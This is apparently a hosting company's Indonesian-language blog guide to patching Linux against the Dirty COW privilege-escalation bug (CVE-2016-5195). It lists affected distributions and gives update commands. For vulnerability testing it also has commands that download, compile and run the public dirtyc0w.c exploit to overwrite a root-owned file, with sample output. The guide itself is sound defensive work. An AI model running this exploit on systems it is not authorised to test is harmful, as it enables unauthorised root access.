Panduan Untuk Patch Dan Proteksi Kernel Linux Dari Dirty COW Exploit (CVE-2016-5195)

Pada 19 Oktober 2016, ditemukan adanya masalah keamanan baru yang sangat serius pada Kernel Linux. Bug yang diberi kode “Dirty COW” ini sebenarnya telah ada sejak lama, setidaknya sejak tahun 2007, pada kernel versi 2.6.22. Akibatnya, kebanyakan server beresiko terkena serangan bug ini. Dewaweb telah melakukan patch pada semua Cloud Hosting dan Cloud Server Managed by Dewaweb yang menggunakan OS Linux. Bagi para Sahabat yang menggunakan Cloud Server Self-Managed, silahkan ikuti panduan di blog kami untuk melakukan patch untuk keamanan server Sahabat. Berikut panduan untuk patch dan proteksi kernel Linux dari Dirty COW (CVE-2016-5195).

Kernel Linux sendiri merupakan sistem operasi kernel pada Unix. Sistem operasi Linux didasarkan pada sistem komputer tradisional seperti komputer personal dan server, biasanya dalam bentuk distribusi Linux, dan kelengkapan embed seperti router, wireless access points, PBXes, set-top boxes, FTA receivers, smart TVs, PVRs dan NAS. Sistem operasi Android untuk komputer tablet dan smartphone juga berdasarkan Kernel Linux.

Kernel Linux diciptakan pada 1991 oleh Linus Torvalds untuk komputer pribadinya dan tanpa tujuan lintas platform, tapi kemudian berkembang luas untuk mendukung arsitektur komputer, melebihi sistem operasi atau kernel lain. Linux dengan cepat menarik perhatian para pengembang dan user yang mengadopsi kode dari projek software bebas untuk digunakan pada sitem operasi yang baru. Kernel Linux telah menerima kontribusi dari hampir 12.000 programmer dari lebih dari 1.200 perusahaan, termasuk beberapa vendor software dan hardware besar.

Kernel Linux API (application programming interface), program user untuk berinteraksi dengan kernel, dimaksudkan untuk sangat stabil dan tidak mengganggu program userspace. Sebagai bagian dari fungsi kernel, driver pada alat ini mengontrol hardware. Meski begitu, interface antara kernel dan loadable kernel modules (LKMs) tidak seperti sistem operasi dan kernel lain, karena tidak begitu stabil dalam rancangannya.

Kernel Linux, yang dikembangkan oleh para kontributor di seluruh dunia, merupakan contoh nyata dari source software yang terbuka. Diskusi tentang pengembangan program terus terjadi pada Linux kernel mailing list (LKML). Kernel Linux dirilis dibawah GNU (General Public License) versi 2 (GPLv2) dengan beberapa images firmware di bawah berbagai lisensi berbayar.

Panduan Untuk Patch Dan Proteksi Kernel Linux Dari Dirty COW (CVE-2016-5195) Untuk Mengatasi Masalah Keamanan Pada Kernel Linux

Telah ditemukan masalah keamanan sangat serius pada Kernel Linux, yakni Dirty COW.

Bug ini mempengaruhi cara kerja semua jenis Android dan Kernel Linux dengan meningkatkan hak istimewa pada root. Tiap pengguna bisa menjadi root dalam durasi waktu kurang dari 5 detik. Bug ini telah ada sejak Linux kernel versi 2.6.22+.

Dirty Cow membuat para hacker bisa mengeksploitasi dan membahayakan server web dengan menggunakan alat koneksi internet apapun. Masalah keamanan ini telah diketahui dan patch perlu dilakukan pada sistem berbasis Linux.

Tentang Bug Dirty Cow

Sebenarnya Dirty Cow bukan hal baru, setidaknya bagi pendiri Linux, Linus Torvalds yang mengakui telah menemukannya pada 11 tahun lalu. Bug perbaikan dirilis saat itu, tapi 3 tahun kemudian tidak terselesaikan oleh perbaikan keamanan lain, sehingga membuat Kernel Linux rentan terhadap serangan jaringan selama periode 9 tahun. Kini ancaman untuk Kernel Linux muncul kembali.

Menurut RedHat, Dirty Cow menyebabkan Kernel Linux rentan digunakan oleh pengguna yang ingin memperoleh akses root untuk meningkatkan hak istimewa mereka dan menguasai keamanan server. Dengan begitu, pengguna lokal bisa memperoleh akses menulis pada memory yang awalnya hanya bisa membaca dan membajak alat koneksi internet dalam waktu hanya beberapa detik.

Cara Mengatasi Masalah Keamanan Akibat Dirty COW (CVE-2016-5195)

Bug ini diberi nama Dirty COW (CVE-2016-5195), merupakan peningkatan privilage pada Kernel Linux. Eksploitasi dari bug ini tidak meninggalkan jejak apapun, tak ada hal abnormal yang terjadi. Jadi Anda tidak bisa mendeteksi bila seseorang telah mengeksploitasinya pada server Anda. Pengguna lokal manapun bisa menulis pada file yang mereka bisa baca, dan bug ini telah ada sejak setidaknya Linux kernel versi 2.6.22.

Linus Torvalds  menjelaskan bahwa bug ini adalah bug lama yang sebenarnya telah berusaha diatasi sekitar 11 tahun lalu pada commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) tapi tidak terselesaikan karena adanya masalah pada s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

Kondisi pada s390 telah lama teratasi dan kini perbaikan dilakukan dengan memeriksa pte_dirty() bit properly (and do it better). S390 dirty bit diimplementasikan pada abf09bed3cce (“s390/mm: implement software dirty bits”) yang membuatnya menjadi v3.9. Kernel terdahulu harus melihat kondisi page masing-masing.

Berikut ini daftar distribusi Linux yang terkena dampak (termasuk VM dan container yang memiliki kernel sama)

  1. Red Hat Enterprise Linux 7.x
  2. Red Hat Enterprise Linux 6.x
  3. Red Hat Enterprise Linux 5.x
  4. CentOS Linux 7.x
  5. CentOS Linux 6.x
  6. CentOS Linux 5.x
  7. Debian Linux wheezy
  8. Debian Linux jessie
  9. Debian Linux stretch
  10. Debian Linux sid
  11. Ubuntu Linux precise (LTS 12.04)
  12. Ubuntu Linux trusty
  13. Ubuntu Linux xenial (LTS 16.04)
  14. Ubuntu Linux yakkety
  15. Ubuntu Linux vivid/ubuntu-core
  16. SUSE Linux Enterprise 11 and 12.
  17. Openwrt

Cara Patch Dan ProteksiKernel Linux CVE-2016-5195

Ketik perintah sesuai distribusi Linux. Anda perlu melakukan reboot. Sebelum melakukan patch, perhatikan versi kernel Anda.

$ uname -a
$ uname -mrs

Contoh output bisa berupa:

Linux 3.13.0-95-generic x86_64

Untuk Linux debian atau Ubuntu:

$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

Lakukan reboot pada server:

$ sudo reboot

Untuk RHEL / CentOS Linux 5.x/6.x/7.x:

$ sudo yum update
$ sudo reboot

Untuk RHEL / CentOS Linux 4.x:

$ sudo up2date -u
$ sudo reboot

Untuk Suse Enterprise Linux atau Opensuse Linux:

Untuk mengaplikasikan semua patch yang dibutuhkan pada sistem, ketik:

# zypper patch
# reboot

Verifikasi

Anda harus pastikan angka versi telah berubah:

$ uname -a
$ uname -r
$ uname -mrs

Memastikan apakah sistem Anda mudah diserang

Untuk RHEL/CentOS Linux, gunakan skrip berikut:

$ wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_2.sh

$ bash rh-cve-2016-5195_2.sh

Untuk distro lain, gunakan PoC (proof of concept exploit code)

Peroleh PoC dengan:

$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Jalankan, lakukan root lebih dulu dengan langkah berikut:

$ sudo -s
# echo this is not a test > foo

Jalankan sebagai user normal:

$ gcc -lpthread dirtyc0w.c -o dirtyc0w

### ***[ If you get an error while compiling code, try ***] ###
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000

Beberapa Hal Penting Berkaitan Dengan Dirty COW (CVE-2016-5195)

  • Apa yang dimaksud dengan CVE-2016-5195?

CVE-2016-5195 adalah nama resmi dari bug ini. CVE (Common Vulnerabilities and Exposures) merupakan standar untuk keamanan informasi yang dijaga oleh MITRE.

  • Kenapa disebut dirty COW bug?

Kondisi yang jarang terjadi ditemukan pada subsistem memori Linux Kernel yang menangani Copy On Write (COW) dari mapping memory yang hanya bisa dibaca. Pengguna lokal yang tidak memiliki hak istimewa bisa menggunakan ini untuk memiliki akses menulis pada memory mapping yang hanya bisa dibaca dan kerenanya meningkatkan hak istimewa mereka pada sistem.

  • Apakah antivirus bisa mendeteksi atau memblokir serangan bug ini?

Meski serangan ini bisa terjadi pada lapisan berbeda, antivirus yang mendeteksi Dirty COW bisa dikembangkan. Karena kompleksitas serangan, membedakan antara legitimate use dan attack tidak bisa dilakukan dengan mudah, tapi serangan bisa dideteksi dengan membandingkan ukuran binary terhadap ukuran binary original. Ini berarti antivirus bisa diprogram untuk mendeteksi serangan tapi tidak untuk memblokirnya kecuali binary terkunci semua.

  • Bagaimana Linux bisa diperbaiki?

Meski kode perbaikan terlihat sepele, tim Linux terdiri dari para ahli dalam memperbaiki dengan tepat, jadi versi yang telah mengalami perbaikan atau lebih baru perlu digunakan.

  • Bagaimana cara mendeteksi orang lain telah melakukan eksploitasi bug ini?

Eksploitasi bug ini tidak meninggalkan jejak apapun yang abnormal.

  • Apa yang bisa dilakukan untuk mencegah hal ini terjadi kembali?

Komunitas keamanan harus segera mempelajari tentang hal ini. Dukung usaha pengembang software yang Anda percaya untuk meningkatkan privasi.

  • Adakah dampak positif dari bug ini?

Bagi para penyedia jasa yang terkena dampaknya, ini jadi kesempatan yang baik untuk meningkatkan kekuatan keamanan sistem yang digunakan. Banyak software yang telah di-update.

Kini Anda bisa melakukan patch berdasarkan panduan untuk patch dan proteksi kernel Linux dari Dirty COW (CVE-2016-5195). Meski para ahli menganggap bug Dirty Cow tidak akan mempengaruhi semua distribusi Linux, patch pada sistem tetap dianjurkan dengan menggunakan update yang tersedia.

1,586 total views, 2 views today